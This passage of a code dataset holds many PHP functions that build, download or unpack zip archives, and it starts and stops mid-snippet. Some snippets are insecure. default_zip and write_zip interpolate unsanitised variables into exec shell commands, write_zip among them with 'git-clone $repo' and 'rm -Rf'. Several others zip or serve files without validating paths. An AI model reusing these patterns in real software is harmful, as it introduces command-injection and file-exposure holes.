\\PageModel::findById($GLOBALS['objPage']->id);\n\t\t$strUrl = $this->generateFrontendUrl($objPage->row(), '/download/%s');\n\n\t\t$objCategory = $this->Database->prepare(\"SELECT * FROM tl_download_category WHERE alias=?\")->execute(\\Input::Get('category'));\n\t\t$objArchiv = $this->Database->prepare(\"SELECT * FROM tl_download_archiv WHERE id=?\")->execute($objCategory->pid);\n\n\t\t$objData = $this->Database->prepare(\"SELECT * FROM tl_download_item WHERE pid=? && published=1 ORDER BY sorting ASC\")->execute($objCategory->id);\n\t\twhile($objData->next())\n\t\t{\n\t\t\t$objItem = (object) $objData->row();\n\n#\t\t\t$objItem->archiv = $objArchiv->title;\n#\n#\t\t\tif($objCategory->singleSRC)\n#\t\t\t{\n#\t\t\t\t$objItem->archivIcon = \\FilesModel::findByUuid($objCategory->singleSRC)->path;\n#\t\t\t}\n#\n#\t\t\t$objItem->category = $objCategory->title;\n#\t\t\t$objItem->singleSRC = deserialize($objItem->singleSRC);\n#\n#\t\t\t$arrImages = array();\n#\t\t\tif(is_array($objItem->singleSRC))\n#\t\t\t{\n#\t\t\t\tforeach($objItem->singleSRC as $image)\n#\t\t\t\t{\n#\t\t\t\t\t$arrImages[] = (object) array\n#\t\t\t\t\t(\n#\t\t\t\t\t\t'css' => '',\n#\t\t\t\t\t\t'path' => \\FilesModel::findByUuid($image)->path\n#\t\t\t\t\t);\n#\t\t\t\t}\n#\n#\t\t\t\t$arrImages[0]->css = 'first';\n#\t\t\t}\n#\n#\n#\t\t\tif(FE_USER_LOGGED_IN)\n#\t\t\t{\n#\t\t\t\t$objItem->url = sprintf($strUrl, $objItem->id);\n#\t\t\t\t$objItem->css = 'active';\n#\t\t\t\t$objItem->preview = $arrImages;\n#\t\t\t}\n#\t\t\telse\n#\t\t\t{\n#\t\t\t\t$objItem->css = 'inactive';\n#\t\t\t\t$objItem->preview = array($arrImages[0]);\n#\n#\t\t\t}\n\n\t\t\t$arrData[] = $objItem;\n\t\t}\n\n#\t\tif(!count($arrDaata)) { $arrData = array(); }\n\n\t\t$this->Template->items = $arrData;\n\t}", "function zipFilesAndDownload($storyid)\r\n\r\n\t\t{\t \r\n\r\n \t\t\t$getMediaData = getMediaData($storyid);\r\n\r\n \t\t\t$file_path = './uploads/';\r\n\r\n\t\t\t$files = array_filter($getMediaData);\r\n\r\n \t\t\t//array('59c8d31fdc4db.jpg', '59c8d320ca186.jpg');\r\n\r\n \t\t\t ##\r\n\r\n \t\t\t \t##merge all the elements in a string with comma separated string\r\n\r\n\t\t\t\tforeach($files as $f){ \r\n\r\n\t\t\t\t\t$result_file .= ','.$f;\r\n\r\n\t\t\t\t}\r\n\r\n \t\t\t\t$files_all = array();\r\n\r\n\t\t\t\t$files_all = array_filter(explode(',',$result_file));\r\n\r\n\t\t\t ##\r\n\r\n \t\t\t$zipname = 'file.zip';\r\n\r\n \t\t\t$zip = new ZipArchive;\r\n\r\n\t\t\t$zip->open($zipname, ZipArchive::CREATE);\r\n\r\n\t\t\t \r\n\r\n\t\t\tforeach ($files_all as $file) {//echo '<pre>';print_r($file);exit;\r\n\r\n \t\t\t\t$zip->addFile(trim($file_path).trim($file)); \r\n\r\n \t\t\t} \r\n\r\n\t\t\t$zip->close();\r\n\r\n \t\t\t//then send the headers to download the zip file\r\n\r\n \t\t\theader(\"Content-type: application/zip\");\r\n\r\n\t\t\theader(\"Content-Disposition: attachment; filename=$zipname\");\r\n\r\n \t\t\theader(\"Cache-Control: no-cache, must-revalidate\");\r\n\r\n\t\t\theader(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");\r\n\r\n \t\t\t//header(\"Pragma: no-cache\");\r\n\r\n\t\t\t//header(\"Expires: 0\");\r\n\r\n\t\t\treadfile(\"$zipname\");\r\n\r\n\t\t\texit; \r\n\r\n\t\t}", "protected function createArchive()\n {\n $branch = $this->getCurrenBranch();\n\n $dir = HOME.'/repos/'.$this->getRepoName().'/'.$branch.'/archives/';\n\n if (!$this->getFilesystem()->exists($dir)) {\n $this->getFilesystem()->makeDirectory($dir);\n }\n\n $output = $dir.time().'.zip';\n $this->repository->archive(['--format=zip', $branch, '--output='.$output]);\n\n return $output;\n }", "public function index()\n {\n $fileName = 'itsolutionstuff.txt';\n $fileData = 'This file created by Itsolutionstuff.com';\n \n $this->zip->add_data($fileName, $fileData);\n \n $fileName2 = 'itsolutionstuff_file2.txt';\n $fileData2 = 'This file created by Itsolutionstuff.com - 2';\n \n $this->zip->add_data($fileName2, $fileData2);\n \n $this->zip->download('Itsolutionstuff_zip.zip');\n }", "public function default_zip($val) {\n\t\t$this->mutter(\"\\ngzipping \".basename($val).\"...\");\n\t\t$data['file_size'] = filesize($val);\n\t\texec(\"/usr/bin/gzip -c $val > $val.gz\",$output);\n\t\tusleep(10000);\n\t\t//unlink(\"{$this->dir}/$val\");\n\t\t$data['file_size_compressed'] = filesize(\"$val.gz\");\n\t\t$data['file_name'] = basename($val);\n\t\treturn $data;\n\t}", "function create_zip($files1 = array(), $files2 = array(), $files3 = array(), $destination = '',$overwrite = false, $lab_config_id) \n{\n\t//if the zip file already exists and overwrite is false, return false\n\tif(file_exists($destination) && !$overwrite) { return false; }\n\t//vars\n\t$valid_files1 = array();\n\t$valid_files2 = array();\n\t//if files were passed in...\n\tif(is_array($files1)) \n\t{\n\t\t//cycle through each file\n\t\tforeach($files1 as $file) \n\t\t{\n\t\t\t//make sure the file exists\n\t\t\tif(file_exists($file)) \n\t\t\t{\n\t\t\t\t$valid_files1[] = $file;\n\t\t\t}\n\t\t}\n\t}\n\tif(is_array($files2)) \n\t{\n\t\t//cycle through each file\n\t\tforeach($files2 as $file) \n\t\t{\n\t\t\t//make sure the file exists\n\t\t\tif(file_exists($file)) \n\t\t\t{\n\t\t\t\t$valid_files2[] = $file;\n\t\t\t}\n\t\t}\n\t}\n\tif(is_array($files3)) \n\t{\n\t\t//cycle through each file\n\t\tforeach($files3 as $file) \n\t\t{\n\t\t\t//make sure the file exists\n\t\t\tif(file_exists($file)) \n\t\t\t{\n\t\t\t\t$valid_files3[] = $file;\n\t\t\t}\n\t\t}\n\t}\n\t//create the archive\n\t$zip = new ZipArchive();\n\t//if($zip->open($destination, $overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) \n\tif($zip->open($destination, ZIPARCHIVE::OVERWRITE) !== true) \n\t{\n\t\treturn false;\n\t}\n\t//if we have good files...\n\tif(count($valid_files1)) \n\t{\n\t\t//add the files\n\t\tforeach($valid_files1 as $file) \n\t\t{\n\t\t\t$file_parts = explode(\"/\", $file);\n\t\t\t$zip->addFile($file, \"blis_\".$lab_config_id.\"/\".$file_parts[4]);\n\t\t}\n\t}\n\tif(count($valid_files2)) \n\t{\n\t\t//add the files\n\t\tforeach($valid_files2 as $file) \n\t\t{\n\t\t\t$file_parts = explode(\"/\", $file);\n\t\t\t$zip->addFile($file, \"blis_revamp/\".$file_parts[4]);\n\t\t}\n\t}\n\tif(count($valid_files3)) \n\t{\n\t\t//add the files\n\t\tforeach($valid_files3 as $file) \n\t\t{\n\t\t\t$file_parts = explode(\"/\", $file);\n\t\t\t$zip->addFile($file, \"langdata/\".$file_parts[2]);\n\t\t}\t\n\t}\n\t$timestamp = date(\"Y-m-d H:i\");\n\t$lab_config = LabConfig::getById($lab_config_id);\n\t$site_name = $lab_config->getSiteName();\n\t$readme_content = \"\";\n\tif($_SESSION['locale'] != \"fr\")\n\t{\n\t$readme_content = <<<EOF\nBLIS Data Backup\n================\nFacility: $site_name .\nBackup date and time: $timestamp .\nTo restore data, copy and overwrite folders named \"blis_revamp\" and \"blis_$lab_config_id\" in \"dbdir\" directory.\nTo restore language translation values, copy and overwrite folder named \"langdata\" in \"htdocs\" directory.\n-\nEOF;\n\t}\n\telse\n\t{\n\t$readme_content = <<<EOF\nBLIS Data Backup\n================\nFacilité: $site_name .\nDate de sauvegarde et de temps: $timestamp .\nPour restaurer les données, de copier et écraser les dossiers nommés \"blis_revamp\" et \"blis_$lab_config_id\" dans \"dbdir\" dossier\".\nPour restaurer les valeurs de la traduction, copier le répertoire et remplacer le nom \"langdata\" dans \"htdocs\" dossier.\n-\nEOF;\n\t}\n\t$zip->addFromString('readme.txt', $readme_content);\n\t//debug\n\techo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->getStatusString();\n\t//close the zip -- done!\n\t$zip->close();\n\t//check to make sure the file exists\n\treturn file_exists($destination);\n}", "function ready_zip_for_remote($copy)\n{\n\t$file_locs=json_decode($copy);\n\t$zip_file_name=date(\"Ymdhis\");\n\tcreate_zip($file_locs, \"tmp/\".$zip_file_name.\".zip\");\n\techo $zip_file_name;\n}", "function write_zip($repo) {\n $p = basename($repo);\n $proj = explode(\".\", $p);\n $proj = $proj[0];\n //TODO: clean this up\n exec(\"cd /tmp && git-clone $repo && rm -Rf /tmp/$proj && zip -r $proj.zip $proj && rm -Rf /tmp/$proj\");\n\n $filesize = filesize(\"/tmp/$proj.zip\");\n header(\"Pragma: public\"); // required\n header(\"Expires: 0\");\n header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n header(\"Cache-Control: private\", false); // required for certain browsers\n header(\"Content-Transfer-Encoding: binary\");\n header(\"Content-Type: application/x-zip\");\n header(\"Content-Length: \" . $filesize);\n header(\"Content-Disposition: attachment; filename=\\\"$proj.zip\\\";\");\n echo file_get_contents(\"/tmp/$proj.zip\");\n die();\n}", "function _createZIPFile(& $contents, & $ctrlDir, $path) \n {\n\t \n $data = implode('', $contents);\n $dir = implode('', $ctrlDir);\n\n $buffer = $data . $dir . $this->_ctrlDirEnd .\n /* Total # of entries \"on this disk\". */\n pack('v', count($ctrlDir)) .\n /* Total # of entries overall. */\n pack('v', count($ctrlDir)) .\n /* Size of central directory. */\n pack('V', strlen($dir)) .\n /* Offset to start of central dir. */\n pack('V', strlen($data)) .\n /* ZIP file comment length. */\n \"\\x00\\x00\";\n \n $w = $this->_vfile->write($path, $buffer);\n if (VWP::isWarning($w)) {\n return $w;\n }\t\t\n return true;\n }", "function api_download($extension_id) {\n\t$extension = new Extension($extension_id);\n\t\n\t$locales = $extension->locales;\n\t\n\t$zip_location = tempnam(sys_get_temp_dir(), \"\");\n\t\n\t$zip = new ZipArchive();\n\t$zip->open($zip_location, ZIPARCHIVE::CREATE);\n\t\n\tforeach ($locales as $locale) {\n\t\tif ($locale->message_count > 0) {\n\t\t\t$directory_name = format_locale_code($locale->locale_code, $extension->type);\n\t\t\t\n\t\t\t$zip->addEmptyDir($directory_name);\n\t\t\t\n\t\t\t$files = $locale->files_messages;\n\t\t\t\n\t\t\tforeach ($files as $file => $messages) {\n\t\t\t\t$zip->addFromString(\n\t\t\t\t\t$directory_name . \"/\" . $file,\n\t\t\t\t\tconvert_unicode_escapes(\n\t\t\t\t\t\tformat_locale_file($locale->getMessagesJSON($file), $file)\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t$zip->close();\n\t\n\theader(\"Content-Type: application/zip\");\n\theader(\"Content-Disposition: attachment; filename=\".slugify($extension->name).\"-locales.zip\");\n\theader(\"Pragma: no-cache\");\n\theader(\"Expires: 0\");\n\theader(\"Content-Length: \" . filesize($zip_location));\n\treadfile($zip_location);\n\texit;\n}", "private function createZipBackup() {\n\t\t$zip = new \\ZipArchive ();\n\t\t$file_name = $this->file_name . '.zip';\n\t\tif ($zip->open ( $file_name, \\ZipArchive::CREATE ) === TRUE) {\n\t\t\t$zip->addFile ( $this->file_name, basename ( $this->file_name ) );\n\t\t\t$zip->close ();\n\t\t\t\n\t\t\t@unlink ( $this->file_name );\n\t\t}\n\t}", "private function createZipBackup() {\n\t\t$zip = new \\ZipArchive ();\n\t\t$file_name = $this->file_name . '.zip';\n\t\tif ($zip->open ( $file_name, \\ZipArchive::CREATE ) === TRUE) {\n\t\t\t$zip->addFile ( $this->file_name, basename ( $this->file_name ) );\n\t\t\t$zip->close ();\n\t\t\t\n\t\t\t@unlink ( $this->file_name );\n\t\t}\n\t}", "function createPackage() {\n\t\t$package = new ZipArchive();\n\t\t$package->open($this->getPackageFilePath(), ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE);\n\t\tforeach ($this->_files as $fileName => $filePath) {\n\t\t\t$package->addFile($filePath, $fileName);\n\t\t}\n\t\t$package->close();\n\t}", "function doArchive($course_id, $course_code) {\n global $webDir, $tool_content, $langGeneralError;\n\n // Remove previous back-ups older than 10 minutes\n touch(\"$webDir/courses/archive/index.html\");\n cleanup(\"$webDir/courses/archive\", 600);\n\n $basedir = \"$webDir/courses/archive/$_SESSION[csrf_token]/$course_code\";\n file_exists($basedir) or make_dir($basedir);\n\n $backup_date = date('Ymd-His');\n $backup_date_short = date('Ymd');\n\n $archivedir = $basedir . '/' . $backup_date;\n file_exists($archivedir) or make_dir($archivedir);\n\n archiveTables($course_id, $course_code, $archivedir);\n\n $zipfile = \"$webDir/courses/archive/$_SESSION[csrf_token]/$course_code-$backup_date_short.zip\";\n if (file_exists($zipfile)) {\n unlink($zipfile);\n }\n\n // create zip file\n $zip = new ZipArchive;\n if ($zip->open($zipfile, ZipArchive::CREATE) !== true) {\n //Session::Messages($langGeneralError, 'alert-danger');\n Session::flash('message',$langGeneralError);\n Session::flash('alert-class', 'alert-danger');\n redirect_to_home_page('modules/course_info/index.php?course=' . $course_code);\n }\n $result = $zip->addGlob($archivedir . '/*', GLOB_NOSORT, [\n 'remove_path' => \"$webDir/courses/archive/$_SESSION[csrf_token]\" ]) &&\n addDir($zip, \"$webDir/courses/$course_code\", \"$course_code/$backup_date/html\") &&\n addDir($zip, \"$webDir/video/$course_code\", \"$course_code/$backup_date/video_files\");\n $zip->close();\n removeDir($basedir);\n\n if (!$result) {\n //Session::Messages($langGeneralError, 'alert-danger');\n Session::flash('message',$langGeneralError);\n Session::flash('alert-class', 'alert-danger');\n redirect_to_home_page('modules/course_info/index.php?course=' . $course_code);\n }\n\n return $zipfile;\n}", "public function generateZipCommandDataProvider() {\n return [\n [\n 'php://pii_data/',\n 'filename', '123',\n 'zip -jP \"123\" /tmp/pii_data/filename.zip /tmp/pii_data/filename.csv',\n ],\n ['php://pii_data/',\n 'filename',\n FALSE,\n 'zip -j /tmp/pii_data/filename.zip /tmp/pii_data/filename.csv',\n ],\n ];\n }", "function create_zip_from_files()\r\n{\r\n $rootPath = realpath(build_dir());\r\n // Initialize archive object\r\n $zip = new ZipArchive();\r\n $zip->open(zip_path(), ZipArchive::CREATE | ZipArchive::OVERWRITE);\r\n\r\n // Initialize empty \"delete list\"\r\n $filesToDelete = array();\r\n\r\n // Create recursive directory iterator\r\n /**\r\n * * * * * * * * * * * * * * * * * * * * * * * * * * * @var SplFileInfo[] $files */\r\n $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath),\r\n RecursiveIteratorIterator::LEAVES_ONLY);\r\n\r\n foreach ($files as $name => $file) {\r\n // Skip directories (they would be added automatically)\r\n if (!$file->isDir()) {\r\n // Get real and relative path for current file\r\n $filePath = $file->getRealPath();\r\n $relativePath = substr($filePath, strlen($rootPath) + 1);\r\n\r\n if (fn_not_yaml($fn = $file->getFilename())) {\r\n echo \"file skipped: $fn<br />\";\r\n continue;\r\n //$filesToDelete[] = $filePath;\r\n }\r\n // Add current file to archive\r\n $zip->addFile($filePath, $relativePath);\r\n\r\n // Add current file to \"delete list\"\r\n // delete it later cause ZipArchive create archive only after calling close function and ZipArchive lock files until archive created)\r\n if ($file->getFilename() != 'important.txt') {\r\n //$filesToDelete[] = $filePath;\r\n }\r\n }\r\n }\r\n\r\n // Zip archive will be created only after closing object\r\n $zip->close();\r\n\r\n // Delete all files from \"delete list\"\r\n foreach ($filesToDelete as $file) {\r\n unlink($file);\r\n }\r\n}", "function create_zip($files = array(),$destination = '',$overwrite = false) {\n if(file_exists($destination) && !$overwrite) { return false; }\n //vars\n $valid_files = array();\n //if files were passed in...\n if(is_array($files)) {\n //cycle through each file\n foreach($files as $file) {\n //make sure the file exists\n if(file_exists(__DIR__.'/../../uploadedFiles/auditeeFiles/'.$file)) {\n error_log(\"valid file\");\n $valid_files[] = $file;\n }\n }\n }\n //if we have good files...\n if(count($valid_files)) {\n //create the archive\n $zip = new ZipArchive();\n if($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files\n foreach($valid_files as $file) {\n $zip->addFile(__DIR__.'/../../uploadedFiles/auditeeFiles/'.$file,$file);\n }\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n \n //close the zip -- done!\n $zip->close();\n \n //check to make sure the file exists\n return file_exists($destination);\n }\n else\n {\n return false;\n }\n}", "function zipFilesAndDownload($_files) {\n\n $zip = new ZipArchive();\n\n // create a temp file & open it\n $tmp_file = tempnam('.', '');\n $zip->open($tmp_file, ZipArchive::CREATE);\n\n // loop through each file and add to zip\n foreach ($_files as $file) {\n $download_file = file_get_contents($file);\n $zip->addFromString(basename($file), $download_file);\n }\n\n $zip->close();\n\n // send the file to the browser as a download\n header('Content-disposition: attachment; filename=Resumes.zip');\n header('Content-type: application/zip');\n\n // return contents of zip file and then remove it\n readfile($tmp_file);\n unlink($tmp_file);\n}", "function fm_zip_files ($originalfiles, $destination, $zipname=\"zip01\", $rootdir=0, $groupid=0) {\r\n//Zip an array of files/dirs to a destination zip file\r\n//Both parameters must be FULL paths to the files/dirs\r\n// Modded for Myfiles \r\n// Michael Avelar 1/19/06\r\n\r\n global $CFG, $USER;\r\n\r\n //Extract everything from destination\r\n $path_parts = pathinfo(cleardoubleslashes($destination));\r\n $destpath = $path_parts['dirname']; //The path of the zip file\r\n $destfilename = $path_parts['basename']; //The name of the zip file\r\n\t// To put the zipped file into the current directory\r\n\t$destpath = $destpath.\"/\".$destfilename;\r\n\t// To allow naming of zipfiles\r\n\t$destfilename = $zipname;\r\n //If no file, error\r\n if (empty($destfilename)) {\r\n return false;\r\n }\r\n\r\n //If no extension, add it\r\n if (empty($path_parts['extension'])) {\r\n $extension = 'zip';\r\n $destfilename = $destfilename.'.'.$extension;\r\n } else {\r\n $extension = $path_parts['extension']; //The extension of the file\r\n }\r\n\r\n //Check destination path exists\r\n if (!is_dir($destpath)) {\r\n return false;\r\n }\r\n\r\n //Check destination path is writable. TODO!!\r\n\r\n //Clean destination filename\r\n $destfilename = clean_filename($destfilename);\r\n\r\n //Now check and prepare every file\r\n $files = array();\r\n $origpath = NULL;\r\n\r\n foreach ($originalfiles as $file) { //Iterate over each file\r\n //Check for every file\r\n $tempfile = cleardoubleslashes($file); // no doubleslashes!\r\n //Calculate the base path for all files if it isn't set\r\n if ($origpath === NULL) {\r\n $origpath = rtrim(cleardoubleslashes(dirname($tempfile)), \"/\");\r\n }\r\n //See if the file is readable\r\n if (!is_readable($tempfile)) { //Is readable\r\n continue;\r\n }\r\n //See if the file/dir is in the same directory than the rest\r\n if (rtrim(cleardoubleslashes(dirname($tempfile)), \"/\") != $origpath) {\r\n continue;\r\n }\r\n //Add the file to the array\r\n $files[] = $tempfile;\r\n }\r\n\r\n //Everything is ready:\r\n // -$origpath is the path where ALL the files to be compressed reside (dir).\r\n // -$destpath is the destination path where the zip file will go (dir).\r\n // -$files is an array of files/dirs to compress (fullpath)\r\n // -$destfilename is the name of the zip file (without path)\r\n\r\n //print_object($files); //Debug\r\n\r\n if (empty($CFG->zip)) { // Use built-in php-based zip function\r\n\r\n include_once(\"$CFG->libdir/pclzip/pclzip.lib.php\");\r\n $archive = new PclZip(cleardoubleslashes(\"$destpath/$destfilename\"));\r\n if (($list = $archive->create($files, PCLZIP_OPT_REMOVE_PATH,$origpath) == 0)) {\r\n notice($archive->errorInfo(true));\r\n return false;\r\n }\r\n\r\n } else { // Use external zip program\r\n\r\n $filestozip = \"\";\r\n foreach ($files as $filetozip) {\r\n $filestozip .= escapeshellarg(basename($filetozip));\r\n $filestozip .= \" \";\r\n }\r\n //Construct the command\r\n $separator = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? ' &' : ' ;';\r\n $command = 'cd '.escapeshellarg($origpath).$separator.\r\n escapeshellarg($CFG->zip).' -r '.\r\n escapeshellarg(cleardoubleslashes(\"$destpath/$destfilename\")).' '.$filestozip;\r\n //All converted to backslashes in WIN\r\n if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {\r\n $command = str_replace('/','\\\\',$command);\r\n }\r\n Exec($command);\r\n }\r\n\t// Adds an entry into myfiles api\r\n\t$newentry = NULL;\r\n\tif($groupid == 0){\r\n\t\t$newentry->owner = $USER->id;\r\n\t}else{\r\n\t\t$newentry->owner = $groupid;\r\n\t}\r\n\t$newentry->type = TYPE_ZIP;\r\n\t$newentry->folder = $rootdir;\r\n\t$newentry->category = 0;\r\n\t$newentry->name = substr($destfilename,0,-4);\r\n\t$newentry->description = '';\r\n\t$newentry->link = $destfilename;\r\n\t$newentry->timemodified = time();\r\n\tif (!fm_update_link($newentry,$groupid)) {\r\n\t\terror(get_string(\"errnoupdate\",'block_file_manager'));\r\n\t}\r\n return true;\r\n}", "protected function createZip()\n {\n $unit1 = new Unit('functional', 'key1');\n $unit1->setTranslation('en', 'value1');\n $unit1->setTranslation('fr', 'value_fr');\n $unit2 = new Unit('functional', 'key2');\n $unit2->setTranslation('en', 'new_value2');\n $unit2->setTranslation('fr', 'value2_fr');\n $unit3 = new Unit('functional', 'compound.translation2');\n $unit3->setTranslation('en', 'compound 2 en');\n $unit3->setTranslation('fr', 'compound 2 fr');\n $unit4 = new Unit('functional', 'compound.translation1');\n $unit4->setTranslation('en', 'new compound 2 en');\n $exporter = new ZipExporter();\n $exporter->setUnits(array($unit1, $unit2, $unit3, $unit4));\n\n return new UploadedFile($exporter->createZipFile(sys_get_temp_dir().'/trans.zip'), 'trans.zip');\n }", "protected function zipFiles()\n {\n $cacheDir = $this->getCacheDir();\n $zipFile = $cacheDir . '/' . date('Ymd-His');\n $zipCommand = 'zip - ' . implode(' ', $this->folders) . ' | split -b ' . $this->filePartSize . ' - ' . $zipFile;\n\n $this->stdout($zipCommand);\n\n //exec( $zipCommand, $out );\n\n $files = FileHelper::findFiles($cacheDir . '/');\n $uploadedFiles = [];\n\n foreach ($files as $file) {\n $this->dumpFiles[] = $uploadedFiles[] = $file;\n }\n\n return $uploadedFiles;\n }", "public function zip(Presentation $pres, Revision $rev, string $env, string $companyParentName, $process = \"zip\")\n {\n\t $this->pres = $pres;\n\t $this->rev = $rev;\n\t $this->param = $this->util->getPresentationParameter($rev->getPreSettings());\n\t // zip output\n\t $this->wideDir = $this->container->getParameter('zip_wide_directory').\"/\".$this->rev->getId();\n\t $this->zipName = $this->util->slugify($this->getZipName());\n\t $this->S3 = $this->awsMedia->getS3Client();\n\t $this->awsMedia->companyName = $companyParentName;\n\n\t // init shared with timestamp\n\t $currentDate = $this->initShared();\n\t // generate the zip name\n\t $zipName = $this->getZipName();\n\t // generate shared Resources\n\t $this->generateSharedResources();\n\t // generate references\n\t $this->generateReferences();\n\t $this->generatePopins();\n $this->setSharedResources();\n\t // generate folders and linkedScreens\n\t $folders = $this->generateFolders($currentDate);\n\t $tree = $this->generateSlidesTree($folders);\n\t $this->generateSlidesHtml($tree, $folders);\n // generate menu.html\n $this->generateMenuHtml($tree);\n // generate flows.js\n $this->generateFlowJs($folders);\n // generate Thumbnails\n $this->getThumbnailsByScreen($folders);\n $response = $this->awsMedia->generateZipByLambda($this->zipName, \"veeva\", $process);\n $response = \\GuzzleHttp\\json_decode($response);\n\n if($response and is_object($response) and property_exists($response, \"uploadedZipKey\") and $process == \"zip\"):\n/* $seperator = explode('veeva-wide', $response->{\"uploadedZipKey\"});\n $filename = $seperator[1];*/\n $foldername = $response->{\"uploadedZipKey\"};\n $pathToS3 = \"s3://\".$this->awsMedia->expectedBucketName.\"/\".$companyParentName.\"/zip/veeva-wide/\";\n $urlPath = $pathToS3.$response->{\"uploadedZipKey\"};\n $fileName = $foldername.\".zip\";\n $result = $this->setZipToEC2($urlPath, $foldername, $pathToS3, $fileName);\n if ($result && is_object($result)) {\n return $result;\n }\n endif;\n\n return $response;\n\n }", "function createZip($inputPath,$outputPath,$outputFilename)\n\t\t{\n\t\t\t$this->zip->open( $outputPath.$outputFilename , ZipArchive::CREATE );\n\t\t\t$files = scandir($inputPath);\n\t\t\tunset($files[0],$files[1]);\n\t\t\tforeach($files as $file)\n\t\t\t{\n\t\t\t\tif(is_file($inputPath.$file))\n\t\t\t\t{\n\t\t\t\t\t$this->zip->addFile( $inputPath.\"/{$file}\" , $file );\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->zip->close();\n\t\t}", "function getCreateZip($overwrite = false) {\n\t\t$userDownloads = $this->getAllUserDownloads();\n\n\t\t$files = array();\n\n\t\tforeach($userDownloads as $download){\n\t\t\t$files[] = JPATH_ROOT.'/user_downloads/'.$download->download_url;\n\t\t}\n\n\n\t\t$destination = $this->getFileLocation();\n\t\t//if the zip file already exists and overwrite is false, return false\n\t\tif(file_exists($destination) && !$overwrite) { return false; }\n\t\t//vars\n\t\t$valid_files = array();\n\t\t//if files were passed in...\n\t\tif(is_array($files)) {\n\t\t\t//cycle through each file\n\t\t\tforeach($files as $file) {\n\t\t\t\t//make sure the file exists\n\t\t\t\tif(file_exists($file)) {\n\t\t\t\t\t$valid_files[] = $file;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//if we have good files...\n\t\tif(count($valid_files)) {\n\t\t\t//create the archive\n\t\t\t$zip = new ZipArchive();\n\t\t\tif($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//add the files\n\t\t\tforeach($valid_files as $file) {\n\t\t\t\t$zip->addFile($file,substr($file,strrpos($file,'/') + 1));\n\t\t\t}\n\t\t\t//debug\n\t\t\t//echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n\n\t\t\t//close the zip -- done!\n\t\t\t$zip->close();\n\n\t\t\t// http headers for zip downloads\n\t\t\theader(\"Pragma: public\");\n\t\t\theader(\"Expires: 0\");\n\t\t\theader(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n\t\t\theader(\"Cache-Control: public\");\n\t\t\theader(\"Content-Description: File Transfer\");\n\t\t\theader(\"Content-type: application/octet-stream\");\n\t\t\theader(\"Content-Disposition: attachment; filename=\\\"\".$destination.\"\\\"\");\n\t\t\theader(\"Content-Transfer-Encoding: binary\");\n\t\t\theader(\"Content-Length: \".filesize($destination));\n\t\t\tob_end_flush();\n\t\t\t@readfile($destination);\n\t\t\tunlink($destination);\n\t\t\t//return $destination;\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\treturn false;\n\t\t}\n\t}", "private function sendZip($files) {\n\t\tif (!extension_loaded('zip')) {\n\t\t\tthrow new Exception();\n\t\t}\n\n\t\t// From https://stackoverflow.com/questions/1061710/php-zip-files-on-the-fly\n\t\t$zip_file = tempnam('tmp', 'zip');\n\t\t$zip = new ZipArchive();\n\t\t$zip->open($zip_file, ZipArchive::OVERWRITE);\n\n\t\tforeach ($files as $filename => $content) {\n\t\t\t$zip->addFromString($filename, $content);\n\t\t}\n\n\t\t// Close and send to user\n\t\t$zip->close();\n\t\theader('Content-Type: application/zip');\n\t\theader('Content-Length: ' . filesize($zip_file));\n\t\t$day = date('Y-m-d');\n\t\theader('Content-Disposition: attachment; filename=\"freshrss_' . $day . '_export.zip\"');\n\t\treadfile($zip_file);\n\t\tunlink($zip_file);\n\t}", "function unpack_to_return_the_exe($zip_location){\n $zip = new ZipArchive;\n $zip->open(realpath($zip_location)); //opens the zip file\n\n $result_array = array(\"file_to_obfuscate\" => '', \"dependencies\" => array());\n //defines the array return ^\n\n for ($i = 0; $i < $zip->numFiles; $i++) { //get all the files in the zip file\n $filename = $zip->getNameIndex($i); //get the name of the current file\n $info = pathinfo($filename); //path info of the file\n\n if($info[\"extension\"] == \"exe\"){ //in case the file is an exe, gen a random name to it and save it and link the name to the array return\n $file_to_obfuscate = \"uploads/\" . uniqid() . '.' . $info[\"extension\"];\n fwrite(fopen($file_to_obfuscate, \"w\"), $zip->getFromName($filename));\n $result_array[\"file_to_obfuscate\"] = $file_to_obfuscate;\n }\n else if($info[\"extension\"] == \"dll\"){ //add data foreach dll dependency\n $dll_dependency = \"uploads/\" . $filename;\n fwrite(fopen($dll_dependency, \"w\"), $zip->getFromName($filename));\n\n array_push($result_array[\"dependencies\"], $dll_dependency);\n }\n else {\n $zip->close();\n\n foreach(@$result_array[\"dependencies\"] as &$val)\n @unlink(realpath($val));\n //im not sure if the arrays are really defined, so i use @ to not throw exceptions\n\n @unlink($zip_location);\n @unlink($result_array[\"file_to_obfuscate\"]);\n @unlink(\"uploads/\" . $filename);\n\n die(\"there are files that arent .exe/.dll in the zip\");\n }\n }\n $zip->close();\n unlink($zip_location);\n\n return $result_array;\n}", "function zip_flatten ( $zipfile , $filter) \n\t{ \t\n\t\t@ini_set( 'memory_limit', apply_filters( 'admin_memory_limit', WP_MAX_MEMORY_LIMIT ) );\n\t\t\n\t\t//if a temp dir already exists remove it and create a new one\n\t\tif(is_dir($this->paths['tempdir'])) $this->delete_folder($this->paths['tempdir']);\n\t\t\n\t\t//create a new\n\t\t$tempdir = avia_backend_create_folder($this->paths['tempdir'], false);\n\t\tif(!$tempdir) exit('Wasn\\'t able to create temp folder');\n\t\t\n\t $zip = new ZipArchive; \n\t \n\t if ( $zip->open( $zipfile ) ) \n\t { \n\t\t $zip_paths = pathinfo($zipfile);\n\t\t \n\t\t //check name scheme if user wants to rename the file \n\t\t 